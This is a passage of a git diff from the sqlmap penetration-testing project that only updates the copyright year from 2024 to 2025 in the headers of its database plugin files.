index 3c02e71b097..b80b2ad1a7d 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index e8dd9942c63..b61b86bc4cc 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index e9514b006d7..cb568cae858 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 13809bf8313..a8884674249 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 3fdf1d4994d..909a1827615 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 8f77b23f1d5..96426affc93 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 5f8db6f8a21..1032c3202e0 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index a6cdfd5056b..9a6a241d417 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 9f80a853f7a..5199140d930 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index 53678c11e9f..2f12d47d72f 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 438dc78bce1..854cd4abc25 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 03c245ac2e6..025ea06d627 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index b676f690a4f..da02baf829b 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 837293729f0..e3c0497905a 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index a60bc659510..7ebbcef6216 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index de0a0d2400c..46a6a2f556c 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 2b657e8a2c5..4506795c4da 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py index c52814bd9c9..1a1507594c9 100644 --- a/plugins/dbms/mckoi/__init__.py +++ b/plugins/dbms/mckoi/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py index cb0956cda6b..56963fa6431 100644 --- a/plugins/dbms/mckoi/connector.py +++ b/plugins/dbms/mckoi/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py index 7f18884295e..51417e0a114 100644 --- a/plugins/dbms/mckoi/enumeration.py +++ b/plugins/dbms/mckoi/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py index 3a55edac967..a49bd7eb31c 100644 --- a/plugins/dbms/mckoi/filesystem.py +++ b/plugins/dbms/mckoi/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py index c31da941bdb..7dbfbc90671 100644 --- a/plugins/dbms/mckoi/fingerprint.py +++ b/plugins/dbms/mckoi/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py index de0a0d2400c..46a6a2f556c 100644 --- a/plugins/dbms/mckoi/syntax.py +++ b/plugins/dbms/mckoi/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py index ae103c5fc60..9cee36cfb6b 100644 --- a/plugins/dbms/mckoi/takeover.py +++ b/plugins/dbms/mckoi/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py index 21e170306cb..4adcacab2ff 100644 --- a/plugins/dbms/mimersql/__init__.py +++ b/plugins/dbms/mimersql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index c63a6475d05..de1d35704a5 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py index 82543c1fbc9..028e1fff6bb 100644 --- a/plugins/dbms/mimersql/enumeration.py +++ b/plugins/dbms/mimersql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/mimersql/filesystem.py +++ b/plugins/dbms/mimersql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index 5aa5cfe563a..4568a2252dd 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py index 0da50bf1ca0..2405165b57b 100644 --- a/plugins/dbms/mimersql/syntax.py +++ b/plugins/dbms/mimersql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py index f5c7166377d..fe1c9ead20a 100644 --- a/plugins/dbms/mimersql/takeover.py +++ b/plugins/dbms/mimersql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py index d8d669cae58..58065eeb010 100644 --- a/plugins/dbms/monetdb/__init__.py +++ b/plugins/dbms/monetdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py index 73a6fdad026..3ee717cb929 100644 --- a/plugins/dbms/monetdb/connector.py +++ b/plugins/dbms/monetdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index 7bd559725d1..7279d2ec809 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/monetdb/filesystem.py +++ b/plugins/dbms/monetdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index dc6f190b57d..5da9af1b8a2 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index fa73f520330..446be9d70be 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py index 2da776b0fea..32379bb221d 100644 --- a/plugins/dbms/monetdb/takeover.py +++ b/plugins/dbms/monetdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 7072cb36e2b..50397c29a58 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index e16e3f9f745..e9f1390b033 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index b27be56d911..bdf8e52818f 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 86ddcc550a3..b2969108456 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 1e8e492b8fa..8c427874f57 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 05703e36d65..a53dbd86bc8 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index a54be3e57b3..e7200a16074 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index da409c39d0d..c5571460e1a 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index e965bfe9971..35df21e1f79 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 1a85e3a20e2..47bde92b8e7 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 8ac38c2f74a..f0053383cb7 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 064435e34a3..d0817235d7f 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 6dfd9bf15f1..885a2b56f5d 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 4d01ec63a35..a08ce8ba0a5 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 8af865943ec..61644297bdd 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index a4525510533..45a13ebd9cb 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index b2b25336c0b..faba433c87c 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 612a9cdc365..7cad10c54ad 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index a03ccc002ba..03e4e2dce46 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 41e14833385..7868f5b1786 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 0abef2b4070..89b78d70919 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 8af12d67fb0..65d39dcfc0b 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 4545fc8dfe7..32001d2c37a 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 8889f452bd4..7e6153fa2ff 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 7186724ca5b..abb4f6e64cd 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 90745a1e2ad..ec04b0d031a 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index fe523941102..d186ee980b1 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 687a2fb63e6..e8350a2aaae 100644 --- a/plugins/dbms/postgresql/takeover.py +++ 